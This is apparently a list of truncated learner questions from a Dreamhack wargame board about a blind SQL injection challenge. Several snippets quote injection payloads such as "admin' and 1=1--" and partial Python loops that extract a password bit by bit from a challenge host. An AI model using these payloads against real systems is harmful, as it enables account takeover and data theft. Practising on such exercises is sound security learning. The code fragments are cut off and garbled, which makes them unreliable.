admin' and 1=1-- can't admin' and 1=1-- - why should I do it? I'm really curious haha

import requests keys= [] For I in range (1,20): key=” For j in range (1,20): url=f” http://host3.dreamhack.games:9393/? uid=admin' and substr (bin (ord (substr (upw, {i} ,1))), {j} ,1) ='1"

Hallo If you enter various codes in this question Internal server error The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the appl

It is said that the solution must be converted to Big Endian form Can anyone explain why it's needed?

I know that strings start at 0, but in order to obtain a password, doesn't it have to be in the form of for i in range (0, len_pw): substr (upw, {i}, 1)? I don't understand why the explanation starts at 1 and searches from substr (upw, 1, 1). The end of the range becomes len_pw+1 and substr (upw, len_pw+

Hallo While solving this problem, I didn't understand the last phrase, so I'm leaving a question like this. password += int.to_bytes (int (bits, 2), (bit_length + 7)//8, “big”) .decode (“utf-8") (1) When I Google it says that int.to_bytes (length, order, compensation of 2) is used like this,

I understood the other part, but it was written at the end passwd += int.to_bytes (int (bit, 2), (bit_length + 7)//8, “big”) .decode (“utf-8") I don't understand this part.. Can I ask for a detailed explanation in an easy-to-understand manner? thank you!

For I in range (50): res=requests.get (f "{url}? uid=admin' and char_length (upw) = {i} #”) if ('exists' in res.text): print (i) break while (1): query= {"uid” :f"admin' and cha

Import os import requests URL = "http://host3.dreamhack.games:17636/? uid=” def binary_search (arr, n): low, high = 0, len (arr) - 1 While low <= high: mid = (low + high)//2 mid_value = ar

! [image.png] (https://dreamhack-media.s3.amazonaws.com/attachments/681192145682963171de40c32d29940b9f3ee989ca3fee5e72c20846c4e23946.png) The ASCII code consists of 7 bits, so isn't it a maximum of 7 requests..?